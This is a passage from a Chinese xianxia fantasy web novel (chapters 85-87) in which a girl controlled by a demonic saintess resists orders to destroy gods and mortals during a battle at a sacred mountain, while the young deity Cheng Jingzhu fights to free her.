慈济真君在空中沉声道。 诸神齐齐望向那少女,战场之上有毁灭欲,嗜杀欲,得失欲,胜负欲……凡此种种,多为恶欲,而妖魔的恶欲只会更重,他们想要弑神,想要彻底撕碎神仙曾一次又一次降于他们的威压,想要改天换地,共争三界,如此疯涨的恶欲外化为一缕缕的黑气滋养着那少女胸中的火种,火种因食用恶欲而更加强大,妖魔则因火种而不惧神威。 慈济真君与诸神几乎毫不犹豫,齐齐降下数道金光,压向那少女,此时,积玉一剑劈开面前的妖魔,仰头那金光几乎刺得他睁不开眼,他焦声喊道:“师祖!那并不是阿姮的本意……” 天边爆裂的雷声淹没了积玉的声音。 霖娘以水练缠住数名妖魔,回过头只见大片金光如飞流般朝那少女奔涌压下,她甚至没来得及喊“阿姮”,只见那黑衣少年飞身穿入那片倒悬而下的金光瀑流之中。 一片盛大的金光之中,程净竹依稀望见那少女的影子,她依旧立在那里,他扬手掷出银尾法绳,珠饰清音碰撞,似乎撞得那少女眼睫动了一下,狂风呼啸,她血红的眼似乎与他相视,却仿佛他的影子不过是划过她空洞眼波的一缕微不足道的涟漪。 她面无表情,周身千丝万缕的黑气顷刻犹如一张张狰狞的兽口,强大的气流骤然铺开,撕碎金光的同时,亦将程净竹震飞出去。 法绳轻轻擦过她的裙角,银鳞碰撞仿佛哀鸣,飞回程净竹手中。 “神仙威压?不过如此。” 半空中,青峨笑声清脆,她手背微微一转,玉片映照出不远处那悬身而立的少年:“白泽殿下,看见了吗?慈济他们这些神仙一向顾全所谓大局,大局嘛,即是你们的苍生,为了苍生,一个阿姮姑娘算什么呢?谁又管她是不是心甘情愿呢?” “圣女踏遍人间便只学得这些诡辩么?苍生即是神仙立身十二金阙必须要顾全的根本,是诸神的道心,而眼下这一切本是你亲手所结的恶果,再有多少笔账,我也只会跟你算。” 程净竹的目光自那少女的脸孔挪到青峨的身上,他手持法绳,衣袖迎风而展。 青峨脸上笑意微微收敛:“白泽殿下,诸神负你,你那位天帝父亲亦负你,他们根本无法领会你一副神骨与山相融的无边苦痛,怎么你却还要与他们并肩一道?何不归顺我天衣呢?只要你肯,我定然助你取回神骨,还有……” 青峨循着地上阿姮的方向,轻轻抬了抬下颌:“我把阿姮姑娘也还给你,如何?” “你要如何还给我?” 程净竹说道。 青峨不解他何意,不假思索:“你若肯归顺,并且交出火种,自然可以与她并肩。” 无数妖魔与水兵、玄门织就的战场厮杀不断,四面八方轰鸣震天,程净竹垂眸,那少女于硝烟中独立:“不,那并非真正的她。” 手中法绳银鳞尽展,锋锐的冷光擦过他的眉眼: “我会让你把她还给我的。”《 》 85-90 第86章 第86章 她只是绝不接受这所谓的使命…… 086: 法绳犹如银蛇般穿破阴云, 亮若一道凛冽的闪电,以迅疾之势刺破重重气流,直逼青峨面门,这一击来得实在太快, 黑炻奔上前一刀劈向法绳, 银鳞尖锐的冷光骤然刺得他双目发痛, 握刀的手顷刻像被雷电击中又痛又麻,骨□□裂,那剧痛钻入他的胸腔, 他禁不住摔下云端, 吐出血来。 他扬起脸, 只见强风吹散密布的黑絮。 很快, 他意识到,那并不是风, 而是炁。 天地之间的炁, 皆在顷刻之间随那少年意动。 常人是无法感觉炁的流动的,因为炁常常无形, 亦常常流速缓慢, 而一旦炁的流速加快, 它便会外化如风一般, 风过难伤人皮, 但炁一旦展露其迅疾的流速,往往是会见血的。 青峨抚摸自己的下颌,那里添了一道血痕, 是那被法绳带起的外化为风的炁刮过脸颊造成的,她手背的玉片映照出那少年的影子,银发乱拂, 衣摆猎猎,金色的裂纹像是从他颈项的青筋钻出,爬上他苍白的面颊,蜿蜒的金色脉络里浸着微微的血色,仿佛他那副脆弱的皮囊顷刻便要撕裂开来。 “师弟!快住手!” 阳钧的拂尘缠住少年的手腕。 程净竹纹丝不动,结印的指节绷得泛白,飞速流动的炁犹如狂风一般席卷四方,击散一团又一团的黑絮,生刮过一众妖魔的皮肉,惨声四起,血肉横飞,银尾法绳势如破竹飞向青峨,青峨迅速侧身避开法绳尖锐的棱角,比法绳银鳞更锋利的炁擦她身而过,她指尖勾起幽幽紫芒,一掌挡开法绳,顿时气流四散,地动山摇。 程净竹颊侧撕裂一道血痕,犹如熔岩般的金色混合在那道伤口里,他面无表情地催动指尖金印,慈济真君顿时觉得自己因使用术法而外露的精纯清气被触碰,甚至被利用,他转过脸,只见阳钧的拂尘被那少年周身散发的金光震断,慈济真君骇然:“逆徒!” 慈济真君骤然出现在程净竹面前,攥住他结印的手,怒喝:“神骨就在眼前,怎么你还没将其取回,便先不要这条命了吗!” “师父。” 飞速流动的炁不断地呼啸,带起层层血雾,繁烟黑絮都被驱散开来,万千妖魔的兴奋都被这像要将他们生剐一般的狂风狠狠压下,烟尘弥漫中,程净竹抬起眼眸,看向面前盛怒的慈济真君:“我果真可以取回神骨么?” 慈济真君神情猛地一变,他紧紧盯住面前这少年,厉声:“你这是何意?难道你以为,我,诸神,甚至是……天帝,我们都不希望你取回神骨吗!” “逆徒……我是你师父!” 他沉声说道。 几缕银发拂过程净竹的脸颊,鲜红的血液渗出伤口:“您是我的师父,诸神是我的同僚,他……是我的父亲,你们都明白我的神骨年深日久早已与封印长在了一起,因此,你们始终两难。” 慈济真君眼瞳微颤。 “可是师父,你们根本不用如此两难。” 程净竹始终维持着指尖的金印,他脸颊的伤痕更深,金纹与血色交织,在惨白的面颊上竟然神秘又艳丽:“您一直知道我下山只为一件事,一个人,这是我全部的私心,您早已成全我的私心,一切,都足够了。” 足够了? 什么足够了? 慈济真君神情几乎凝滞,却还不待他细思,铺天盖地的紫火燃烧起来,慈济真君敏锐地回头,一挥衣袖,金霞漫漫,挡开迎面而来的重重紫火。 那天衣圣女青峨闭着眼,那样一张脸干净,稚嫩,秀美,她手指勾着紫芒,底下妖魔堆里的少女如被牵动丝线的傀儡般僵硬地转过脸,紫色的符纹不断地深嵌在她的血肉里,她一张如蓄满势的弓,而被她恩赐火种力量的妖魔即是她的利箭。 “在一副凡人躯壳里动用你白泽的能力很不好受吧?从前父王不肯将全部神通都给我,我每次动用神通都痛苦极了……” 青峨语气里似乎有点惺惺相惜,话锋一转,又森冷非常:“我早听闻白泽非但能辨炁,还可以使世间之炁,甚至万物生机都化为你随手可用的棋子,今日一见,果然如此……我倒要看看失去神骨的你,还能撑到几时!” 青峨指尖一动,仿佛牵动无形的丝线,地上那少女苍白的颈项顷刻显露紫色符纹,这一瞬,阿姮听到许多声音,那是各种各样欲望的声音,可此时的阿姮没有意识,所以妖魔难填的欲壑即是她的欲壑,他们的痛苦,即是她的痛苦,火种依附于她那副用无数天衣混血的血肉喂养过的混沌真身亦本能因此而癫狂,颤抖。 她一跃而起,飞悬云端,身化红雾,席卷四方。 火种因她这具完美的容器而催生出更加强大的力量,繁烟黑絮随红雾而动,密密匝匝笼盖天地,刹那冲散飞速流动的炁,强大的气流冲击山岳,顿时水倾山倒,轰然巨响,程净竹被巨大的气流冲击,踉跄后退,胸腔震痛,他唇齿满是血腥,抬起脸,只见如洪流般汹涌的黑气点燃妖魔的声势,倾刻燎原。 慈济真君与诸神见状,立即施法,耀目的金光撞上漆黑的烟波,刹那间黑气密不透风地向他们涌来,织成一片黑云密网,众神立即施法相抗,金霞漫过黑云,却触发云中数枚摄魂杵,铁索细如雨丝,闪烁冷光投向地面,锋利的尖锥震裂山岳,地陷千丈,尘土飞扬,黑气千丝万缕扫向四方,宛如流墨,此间天地皆为一惨白画卷,流墨飞溅,所过之处,血泼千红,惨声一片。 天衣火种毁天灭地般的恐怖力量使妖魔借势强大,亦使积淀数千年,以除魔卫道为根本的天下玄门茫然无措起来。 以玄门秘法浇铸而成的宝剑劈不开妖元,斩不断妖恶,代代想穿的八卦镜照不出妖相,烧不穿妖识,一向是玄门立身之本的朱砂黄符制不住妖性,破不开妖心……乱套了,全都乱套了! 天地间多年积淀的法则,因为天衣火种而在一夕之间荡然无存,这才是天衣火种真正可怕之处,法则无用,秩序尽失,如此万物失衡,可谓大乱。 四海龙王盘桓天际,龙睛如炬,长啸声声,风云立变,阴云中万顷雷电炸响,冷冽的电光却倾刻被浓云吞没,暴雨轰然而至,青峨悬立浓昏雨色,她手背玉片碧绿的波光里遥遥映着一座巍峨的山。 那座山的影子同时映在阿姮的眼波,她听到青峨轻声命令:“去吧。” 暴雨如注,河水倾泼,黑气卷裹天地,气焰滔天的妖魔死死压制住四海水兵与一众玄门,多少杂声山呼海啸般擦过阿姮耳畔,忽然,她颈间的宝珠散发光彩,光华滚烫,穿透她单薄的皮肤,如闪电一般击中她识海之中被金光包裹的元神。 这股针刺般的痛很短暂。 这痛却并非像是刻意的伤害,而是一种温柔的指引,阿姮被禁锢的意识有了些模糊的反应,她最先听到盛大的雨声,紧接着,她发现自己的身躯正不受控地融化成一片浓烈的红雾,狂风呼啸,四条巨龙飞来犹如山岳一般拦住她的去路,她的身躯却毫不迟疑,红雾弥漫若彩霞,以擎天掣地般的声势撞去,龙吟烈烈,金霞铺展,强大的气流轰然散开,被撕裂的红雾散了又聚,轰然落下,颠簸山岳。 巨响震动天地,众人一时目眩耳聋,霖娘自浓昏的烟雨波光中遥遥望去,那座经年累月被黑水村人虔诚敬拜过的巍峨神山倾塌了半边山体,山石滚滚而落,尘土未扬便被急雨按下,洪流一般的泥土顺断裂的山势浩浩荡荡奔入山坳,雨水冲刷着残缺的山体,展露出大片剔透莹光,如玉,更似终年难化的冰。 雨雾纷纷,天地似乎陡然一寂。 阿姮的身躯融化成红雾覆盖在断裂的山体,四海龙王的威压碾压过她的血肉,真身,灭顶般的剧痛几乎要将她碾碎,却令她的意识变得无比清晰,这一瞬,她清楚地感知到自己又重新掌控住自己的躯体,五感也那样明晰,她嗅到近在咫尺的,泥土的芬芳,也一眼望见深嵌山体之中,以一副巨大的,几乎完整的骨骼形状与山石泥土经年日久地长在一起的透澈冰晶。 神骨…… 是小神仙的神骨! 阿姮精神一振,她立即望向风雨之中,目光越过地面,越过一重又一重厮杀不尽的人墙,她看到那些水兵,那些玄门,他们在妖魔疯狂的攻势下,黑气不断压迫的威势下苦苦支撑,这一瞬,阿姮的视线定在那个离她很远很远,远得根本都看不清他的脸的少年身上。 阿姮感觉得到他的目光。 小神仙,快取你的神骨啊。 她在心中喊道。 只要取回神骨,你便可以彻底舍弃你那副脆弱不堪的人类皮囊,只要取回神骨,你便可以做回白泽,去做一个真正的神仙,不要死,也不要伤。 阿姮无法在青峨的眼皮底下真的出声,她只能投以希冀的目光,期望那个少年可以领会她的心事,可他始终不动,指尖的金印闪烁着,凛风乱卷,触碰她的红雾,她却什么也不明白。 为什么……为什么你不过来? 明明你的神骨就在这里,你为什么无动于衷?阿姮无比的焦躁,依附着她真身的火种感应到她纷乱的心绪,化出很多的声音纠缠在她耳边,阿姮却俯视断裂的山廓。 管不了那么多了,他的神骨分明就在她的眼前,她绝对不要放过这个近在咫尺的机会! 红雾弥漫,覆盖整个断裂的山体。 正是此时,数枚摄魂杵飞悬而来,化出巨大的森寒铁索,尖锥猛然嵌入山体,幽幽紫火连绵覆盖整片山廓,冰裂之声划过诸神与众人的耳畔,山廓中的封印陡然被撕开一道裂隙,青峨的声音响彻天地:“今日过后,我看你们这些凡人成就的神,还如何禁锢得住我天衣神族!” 急雨狂风,山岳震动,阿姮最先听到那自山体深处传来的声音,很快,被摄魂杵撕开的裂隙中涌出道道紫芒,被困在黑云中的酆水水伯见此,神情大变:“不好!天衣人出来了!” 他立即施法,波涛已然在手,却又猛然顿住,有这黑云织成的网在,那天衣圣女的法器藏在其中,他若轻举妄动,遭殃的,只会是底下的水兵和玄门。 此时,那破裂的山体却涌现漫漫霞光,那霞光覆盖住整座山,丝丝缕缕地填补着那道裂隙。 “是……元真。” 慈济真君神情肃穆。 “元真夫人是在消耗她的精纯清气弥合封印裂隙……”一位女仙秀眉紧蹙,神色紧张,“可裂隙已生,精纯清气一旦耗尽,夫人她……” 精纯清气耗尽,神仙便只有一个神殒的结局。 “女娃娃,这并非是他所期望的。” 阿姮飘浮在那层霞光上,忽然之间,她听到一道女声,也只有她听见这声音,阿姮反应过来,这是元真夫人的声音。 只有元真夫人发现了她方才细微的举动,知道她意识清醒,已不是一件死物,也知道她想要取出白泽神骨。 元真夫人的霞光触碰她的红雾,倾刻便看破她的神魂,明白她的来处,她的因果。 阿姮想,什么并非他的期望? 神骨吗? 他难道不想取回神骨吗?为什么?他不想活下去吗?做人十七年,他在那个人间里难道没有任何留恋吗? “那什么才是他期望的呢?” 阿姮问她。 “我想,那时他为什么回到这里,什么便是他心中期望吧。” 元真夫人说道。 他为什么回到这里?阿姮想,是为这座神山,这道封印?为了一个神明的责任? 责任? 狗屁责任! 阿姮真的好想臭骂他一顿。 为了一个所谓的责任,他不要神骨,也不要命吗?从前那责任没能压死他,如今,他竟还要重蹈覆辙? “他是个傻子……” 阿姮望着眼前这逐渐稀薄却仍在填补那道裂隙的霞光,恨恨地说:“你们十二金阙的神仙全都是傻子!” 责任算什么?世生万物,难道不是各有缘法?飞禽走兽,虫鱼草木,哪个不是稀里糊涂的各自担负自己的生死? 为什么人类就不一样。 那些玄门人为什么一定要扛一个除魔卫道的责任在肩上?神仙又为什么每一个都要将“苍生”两个字担在身上?这到底是谁规定的法则?九仪吗? 阿姮神思混乱,忽然间,她感到自己的躯体再度不受控制,符纹游走在她的真身,弥漫的红雾自山顶飞浮而去,阿姮眼睁睁见自己离那山体中深嵌的晶莹神骨越来越远,她回到青峨的身边,化出人形。 那自封印裂隙中飞出的道道紫芒盘桓于空化成如织的人影,他们黑发绿眸,足有千余人,比起遍地无拘的妖魔,他们更加军纪严整,虽难掩挣脱桎梏的兴奋,在青峨面前却依旧秉持恭谨,俯身齐声拜谒:“圣女!” 青峨于风雨中微微抬起下颌:“我天衣神族被九仪窃夺天下,在这赤戎已做了多年的囚徒,我身为圣女,担负着天衣所有的荣光,今日,你们虽突破封印得到自由,可幽隙之下,还有更多族人未得解脱,去吧,用你们神窍化成的法器,杀尽这些所谓的神仙!” “谨遵圣女谕令,杀尽诸神,光复天衣!” 天衣人喊声震天,齐齐幻化出他们的法器,面向重重黑云中的诸神,怀揣着他们被囚多年不见天日的怨憎,毫不犹豫地飞扑而去。 青峨借玉片看向那座神山中不断修补裂隙的霞光,神情冷漠:“阿姮姑娘,去,替我毁灭这一切,我要地上的蝼蚁不再挣扎,天上的神仙彻底消失,我要整个赤戎——寸草不生。” 青峨的命令顿时化成深嵌阿姮血肉里的符纹,那幽幽紫纹倾刻裹住阿姮的意识,她的眼眸神采顿无,她的身躯随青峨的命令而动,飞入云端,抬手之际,狂风卷动漫天黑气,飞沙走石,她面无表情地俯视遍地人影,每一缕黑气随她意动,化为万千锋锐的利刃,她立即推出掌中气流,无数利刃随气流下坠,轰隆爆开一片连绵的火光,地上众人正与妖魔奋力厮杀,忽然被这一瞬爆裂的火光灼了眼,他们不约而同仰起头,只见漫天大雨中,无数漆黑的利刃落下,众人色变,却被密密麻麻的妖魔死死绊住,一时间竟然避无可避。 冷光划过霖娘的眼皮,利刃悬于她颈侧,却蓦地凝滞,霖娘早已没有皮囊,也没有一颗血肉心脏,但她依然有种听到自己错乱的心跳声的错觉,她小心地从悬在周身的利刃之间抬起脸,急雨打在她的眼眶,模糊了那道悬在半空中的影子。 利刃迎面悬停在程净竹的眼前,距离他的眼睛不过半寸,他的视线绕过冰冷的刀光,看向那远处岿然不动的少女。 青峨亦在看那少女,她眉头一瞬紧拧起来,这是怎么回事?阿姮怎么停住了? “阿姮姑娘,动手。” 青峨冷声命令:“亲手斩断你的情,你的义,你本不需要这些,动手!” 符纹游走在阿姮的血肉之中,不断纠缠她的混沌真身,来自于妖魔的恶欲助涨她体内火种迸发出汹涌的戾气汇聚成她掌心熊熊燃烧的红云烈焰,耳边,不断回响青峨的命令,这命令化成许多人的声音。 陌生的,熟悉的,无穷无尽地重叠在她耳畔,红云轰然炽盛,火光映于她空洞的双目,却为她点缀出一分生动的神采。 “杀了他们!” 青峨面色阴寒,手指猛力一勾,紫色符纹骤然显现在阿姮苍白纤细的颈项,符纹割破她单薄的皮肤,鲜血几乎浸满她的脖颈,她像被一只手扼住喉咙,喉骨都要碎了,浑身的筋脉都在痉挛,她如提线木偶般,缓缓的,僵硬地扬起手来,风中万千墨流随她意动,道道利刃锋芒尽展。 连绵山岳,远不如她火种之力笼盖天地的巍峨。 万顷江河,更不如她一时的意动浩浩荡荡。 她是这世间最利之器,是天衣人在神山底下,封印之中,满怀怨戾精心锻造而成的,足以在弹指之间毁灭世间万物的法则。 她生来,便是为了毁灭。 为了天衣神族而毁灭令他们不满,令他们怨恨,令他们厌恶的一切,她便是天衣人重新主宰这天上地下的唯一法则,阿姮手指僵硬地挪动,万千利刃震动蜂鸣,忽然间,清风擦过她指尖,银尾法绳穿云破雨袭向青峨结印的手,那黑炻反应迅速,飞身上前刀锋挽住银尾法绳死死纠缠,强风却趁机送来更加猛烈的炁,山呼海啸般扑向青峨。 法绳银亮的光闪烁在阿姮的眼睛,那一瞬,阿姮痛极了,符纹用力撕扯她的混沌真身,她的颈项血肉模糊,不断收紧的符纹在警告她,约束她,折磨她,可脖颈间总有个东西是那么的滚烫,她眼睑血红,视线清晰的刹那,她透过那片浑浊的风雾,遥遥对上那少年的目光,她看到他没有血色的唇开合,耳畔盛大的雨声淹没他的声息,但她却仿佛听到“阿姮”这两个字。 她这点微末的意识甚至不能令她想起来他是谁,地上那么多的人又是谁。 但她知道,她是阿姮。 不是什么利器,也不是什么法则。 火种不断在她脑海里尖啸,要她去完成自己的使命,雨水充盈在阿姮的眼眶,她的指节一寸一寸地发出脆响,她咬紧牙关,颈侧蜿蜒的血痕几乎皮开肉绽,鲜血淌了满襟,她脸颊的肌肉颤动,浑身的筋骨绷紧,指节一点一点地屈起,意识不断被符纹刺激撕扯,她忍不住发出痛苦的尖叫,眉心血红的伤口里骤然涌出道道金光,指节蜷握的刹那,掌心的红云烈焰骤然掐灭,万千悬空的利刃顿时锋锐尽失,散成缕缕黑烟。 金光炽盛无边。 它们化成千丝万缕星星点点的光,飘向正与天衣人缠斗的诸神之间,飘向地上被妖魔死死围困的水兵与玄门之间。 一缕莹光浮动在程净竹身侧,他侧过脸看去,那光影跳跃着,化成歪歪扭扭的字痕——“小神仙”,字痕之下,金光汇聚而成一棵两三笔勾成的小草形状。 又一缕金光落至霖娘眼前,幻化出她的名字。 积玉手中金剑几乎沾满了血,他喘息着,被那金光晃了眼睛,他仰头见一缕光落下来,落在他的剑尖,化出他的名字,他一下怔住了。 “这是什么……” 有人发出疑问。 阳钧伸手接住一缕金光,眼看它化成“小神仙的师兄”几个大字,他转过脸,只见元一,守朴,以及他们所有弟子脑门儿上几乎都顶着“上清紫霄宫”的字痕,再看其他玄门,那三真道人,无晦子皆顶着他们的道号,三真纳闷地往左边一望,只见师弟们脑袋上齐齐闪烁三个大字,一位师弟念出来:“牛……牛鼻子?” 再往四周望去,何止他们,多少道士几乎都顶着“牛鼻子”三个字,而那些和尚们点着戒疤的光滑脑袋上无一例外全是“秃驴”,对于和尚道士而言,“牛鼻子”和“秃驴”基本是纯骂了,平日里谁听了都得吹胡子瞪眼那种,可眼下,他们盯着这些歪歪扭扭的字,却是满脸迷茫。 那妖邪没灭了他们,竟忽然骂他们? 慈济真君一掌挡开天衣人的攻击,他一挽衣袖,侧目看向身侧金色的字痕,他不由透过黑云看向那停滞云中的少女,面露异色:“她这是……” “那是元神印记。” 上清紫霄宫相微殿殿师守朴松开掌中的字痕,金光飘浮在他身侧,他语气有些怪异:“这些金痕,即是此妖邪对这世间,甚至我们所有人的印象。” 将金印打入元神是无比危险的行为,若一朝不慎,金印必化烈火,连同神魂与其躯壳全部都将焚烧干净,若成功,也会时刻承受巨大的痛苦,因为只有极致的痛,才可以留住她元神中最重要的东西。 天地之间,所有人都注视着那些金光,它们不但为他们而停留,甚至还飘向了那些山岳间的花草树木,它们有的有名字,譬如山菇,有的没名字,只有“好看”或者“难看”。 诚如守朴所言,这是阿姮对他们,对世间万物的印象。 而那些歪歪扭扭的字迹,则是霖娘最熟悉的,阿姮的字迹,她字还没认全,习字也不认真,“牛鼻子”的“鼻”,“秃驴”的“驴”都是错的,但霖娘的名字,自她教过,阿姮便记住了,霖娘攥紧了手里的小镜,仰起脸,迎向雨雾:“阿姮……” 四海龙王被连绵的黑气纠缠,巨大的身躯不断在云海里翻腾,搅动得崩雷暴裂,阴雨无边,千丝万缕金光粼粼点缀阿姮的眼,仿佛为她聚起一分明亮的神光,她身躯虽仍不受控,被束缚在混沌真身中的意识却清晰许多,此时借着自己这双眼看清这一切,她无法动弹一下,却轻轻地呼出一口气。 自她猜出青峨夺舍的意图,她便立即以万木春包裹自己的元神,同时也借万木春作为一道金印扎入自己的元神之中,为的便是防备青峨,若金印成了,她元神不灭,青峨便休想夺去她的壳子,若金印不成,万木春会连同她的元神和壳子一同烧个干净,反正她的东西,就是亲手毁了,也绝不能便宜了青峨! 若青峨夺舍不成,必然还是要用她的,如此一来,结成的金印也就派上了用场,她控制不了自己的行为,可真身终究是她的真身,若她没有意念,那么金印即为她的意念,而她的真身最应该听从的,本该是她自己的意念。 青峨若要控制她做她不愿做的事,那么金光所至之处,皆有她外化的无穷意念传达于这副混沌真身,警告自己,此间万物,只要她不想,便一个也不能碰。 万木春是九仪的神物,阿姮用它来充当金印,赌上这条命,如今看来倒是赌对了,只要万木春不毁,则金印永远不灭。 此刻,阿姮连挪动自己的眼珠也做不到,她只能借以双目余光望向底下那片密密麻麻的人影,多少张陌生的脸孔,她其实一点也不在乎他们的生死。 她只是绝不接受这所谓的使命。 狗屁使命。 狂风急雨乱卷,如刀一般生生刮过人的脸庞,地上,阳钧望向悬在浑浊云端的阿姮,金光炽耀甚明,阳钧的视线随流动的光影划过浑浊的雨雾,望见程净竹,一缕金光悬于他肩,天地云雨一片浓昏如瑿,他指尖金印犹如烈焰,悬身不动,招引风中的炁不断攻向云中的青峨,风雨拂过他的衣摆,而他身后那座神山遥遥矗立,纵然塌陷半边山体,浓烈的雨气依旧勾勒出它浓烈巍峨的影子,那影子如有千钧重,更衬程净竹身影何其渺小,几乎要融化在那片阴影中。 慈济真君隔云凝视这满天满地的金光,他拧起眉头,神情复杂极了:“天衣圣女,原来是你们强求她担负你们的毁灭欲,如此行径,实在有违天道!” 天上诸神,地上众生,眼见这漫漫金光,他们又还有什么想不明白的呢?一个妖邪,一个被天衣人精心造就的妖邪,竟对他们毫无杀意。 漫天风雨浓,茫茫黑波动,程净竹引炁造就的风刀箭雨摧折无数妖魔,惨声铺天盖地,青峨却在其中分毫未伤,可她控制阿姮的法术终究被打断,她听见慈济真君的声音,冷笑一声:“天道?我天衣神族可从不信什么天道!” 她一挥衣袖,手背玉片照见炽耀金芒,她循着阿姮的方向望去,脸色阴沉,又难掩惊诧,天衣神王的神通明明足以困住阿姮所有的神志,可她竟然想出这样的办法,她到底是如何往自己的元神中打入这道金印的? 手背波光扫过阿姮,忽然,青峨借那波光看清阿姮颈间一根被鲜血遮掩的红绳,她之前也见过这红绳,却没在意过,此刻,青峨扬手,森冷的紫芒一闪,勾出来拿红绳,随即,一颗宝珠自阿姮衣襟中露了出来,那珠光幽蓝,柔和干净。 “阿姮姑娘……”青峨嗓音阴寒,“是这东西的缘故么?是它保住你的神志,教得你如此违逆我?” 地上,霖娘遥遥望见阿姮襟前的那颗明亮的宝珠,虽然那珠子看起来很小,但她却觉得熟悉极了。 “那不是……阿姮从泥妖那里得来的么?” 慈济真君正应对天衣人纠缠不休的猛烈攻势,柔和明亮的光芒划过他的眼皮,他猛地朝浓云中望去,只这一眼,他便看清那少女颈间的宝珠,他眼瞳震颤,一掌震开天衣人迎面而来的法器,下意识看向程净竹。 此时,青峨指节一屈,紫芒割过阿姮颈间红绳,红绳却分毫无损,青峨难以置信,她又用力一攥,那宝珠却仍稳稳悬挂阿姮胸前。 风中的炁却在此时骤然一滞,结印的手指颤动,程净竹胸口血肉俱震,剧痛一刹钻心,他猛地吐出血来。 风雾中,他缓缓抬眸,望向阿姮。 第87章 第87章 我是先爱你……才知爱众生。…… 风烟浓昏, 遮天蔽日,失衡的炁如风乱荡,搅得雨如瀑流浩浩汤汤,青峨面目森寒, 指节更加用力, 符纹从阿姮的皮肉里渗出缠上她脖颈间的红绳, 向后猛然一拽,扼住阿姮的喉咙,红绳几乎勒破阿姮颈间的皮肤, 依然未断, 宝珠散发的光影映照她惨白的面颊, 皮开肉绽的闷响袭来, 青峨冰冷平静的声音响起:“我本想留下你这副皮囊,真是可惜了……” 口吻好似惋惜, 符纹却更猛烈地缠住那红绳, 勒入血肉,眼看便要勒断阿姮的头颅, 急风骤雨铺卷而来, 银尾法绳穿行其中, 劈向青峨施法的那只手, 青峨立即手背一抵, 法绳被震开,她侧过脸,一枚法器吸入黑气转瞬化雨为箭, 密密麻麻朝那黑衣少年压去,少年迅速并指描出数道金印,白符纷纷自他袖中飞出, 金印落符,万千白符纷飞迎向箭雨,此时,浓云密网之中,酆水水伯挽出波涛撞入浊雾,引得数枚天衣法器向他发起攻势,慈济真君则趁此机会,以此裂口放出霞光,抵开更多袭向那少年的重重箭雨。 阿姮被一只冰冷的手掌抚住脖颈,那些撕扯她颈间红绳的符纹消失了,她眼珠僵硬地挪动,风雨之中,她的嗅觉最先捕捉到那缕近在咫尺的,青蘅草的香味,混合着无比浓烈的,芳香的血气,完整地笼罩她的鼻息。 雨珠击打眼睫,阿姮却连眨眼也做不到,她眼眶中的雨水划向眼睑的刹那,她望见他的脸,本该秀整无瑕的脸,颊边却有一道鲜红的裂口,伤口里熔岩般的金色混合血色刺激着她的双目,她嘴唇颤动,却没发出一点声音。 “阿姮,别怕。” 他被雨水冲刷过的眉眼依旧那样干净漂亮,满是裂口的手心里一道药箓散发缕缕苦涩的药香,那样轻柔地安抚她血肉模糊的脖颈。 阿姮的眼眶骤然一酸,正是此刻,数枚天衣法器冲破霞光与道道白符所形成的禁制,与此同时,符纹再度爬满阿姮的脖颈,她掌中凝出红云烈焰,打向面前此人的刹那,一缕金光划过她的眼瞳,那道写着“小神仙”三字的金印占据她整个视线。 天衣法器迸发数道气流气势汹汹袭向程净竹,擦过他们二人彼此之间,生生逼得他松开她,远离她,身影几乎要融入那片更浓更深的烟雨里,此时,青峨悄无声息出现在阿姮身后,一把掐住阿姮的脖颈。 力道之大,阿姮的喉骨都要碎了,青峨的声音落在她耳畔:“你用的咒印本是这些凡人、神仙用来降妖除魔的东西,你本是妖邪,却用它对付自己?” 青峨笑起来:“真是个执迷的蠢物!你不惜自损,便是为了不伤他们么?” 手背的玉片扫过那被天衣法器困在浑浊气流中的黑衣少年,波光又一一映照过底下那片渺小如织的人影,密密麻麻的金痕浮动在他们的身边,如根深蒂固的法则,禁锢住阿姮的身躯,使她不能靠近,无法伤害。 “我天衣神族在神山之下被禁锢许久,你亦在其中千年不止,”青峨说道,“你才去外面多久?你才见过多少凡人?你根本不知道他们有多愚笨,多可恶,今日此间这么多张脸,你都见过吗?你都记得吗?他们到底与你有什么相干呢?难道凭你妖邪之身,竟也妄想长出一副慈悲心肠?阿姮姑娘,你只是被白泽施加给你的‘情’束缚住了,你是怕他对你失望,怕他怨你恨你,所以才压抑本能,这么算起来,他们之中最该死的,还是白泽。” 说着,青峨手背的玉片清晰映出那少年的身影,余下两枚天衣火种还在他的身体里,她早想取出,可碍事的人却实在是太多了…… 阿姮几乎是立即察觉青峨的杀意,她心神一凛,双目依旧维持着呆滞涣散的模样,像一件法器感受到主人的质问,以木然的口吻回应:“可我不想。” 青峨果然被她忽然的这声回答吸引,歪过脑袋,血红的眼眶却无法真的端详身旁这胆大包天的东西:“你不想?” 对,不想。 刻骨的符纹不断纠缠着阿姮的真身,万木春化成的金印更加用力地裹紧她的元神,她的视线时而清晰,时而模糊,意识也禁不住又有些昏沉,她耳边有很多声音,那是火种幻化出的无数引诱之声,它们说,她累了,该好好睡一觉的。 意识入睡,本能为先,她应该放纵这具躯体。 可阿姮低垂眼帘,视线缓缓扫过地面那片密密麻麻的人影,诚如青峨所言,地上那么多张脸孔,多少都是她从未见过,从不认识的,她不知道他们是谁,也不关心他们究竟为何来到这里,因为他们都是不相干的人,她与他们之间从未有过任何因果,没有过怨憎,也没有过悲喜,所以她从来不曾在意过他们究竟是谁,因为不在意,所以她对他们没有任何杀意。 而底下那么多人中,有霖娘,有积玉,还有……小神仙,她昏昏的意识缓慢地想起一句话,喜欢什么,便要留住什么。 赤戎如此穷山恶水,亦有她喜欢的野花,这片天地即便被遗忘日久,也曾是霖娘的家,她不想毁掉这里,不想霖娘死,不想积玉死,不想小神仙死。 不是小神仙的“情”束缚她,令她不敢,令她不能,他不过只是将她带去人间,那样沉默寡言地陪她走了一个来回,他从未以他看这世间的眼光强求她以他心中的对错为准。 她不想,只是因为自己不想。 “一个拥有嗜血本能的怪物,不想杀人?”青峨冷笑一声,几乎要将阿姮这副纤细的颈项折断,“可你的不想,又能算得了什么呢?你是我天衣神族的东西……” 青峨说着,缓缓靠近,眼眶两个血洞仿佛凝视她一般,轻声吐字:“我的意志,即是你的意志。” 一字一言,都化成深刻骨髓的符纹,极致的操控瞬息撕碎阿姮的意识,她的身躯迸发出强大的力量化成汹涌的黑气直插神山,轰然巨响,山石滚滚,笼罩神山的霞光骤然减淡,妖魔飞扑而去,撕咬起那道淡薄霞光覆盖着的裂口。 “圣女在上,救我族于水火,复我族之荣光!” “圣女在上,救我族于水火,复我族之荣光!” 神山深处,天衣人亟待自由的声音传来,酆水水伯幻化水刺打向飞扑而来的天衣人,自雨雾中下视神山,那裂口上的霞光淡去了,他脸色一白,再这么下去,元真夫人真的要神殒了,所有的天衣人都将挣脱封印。 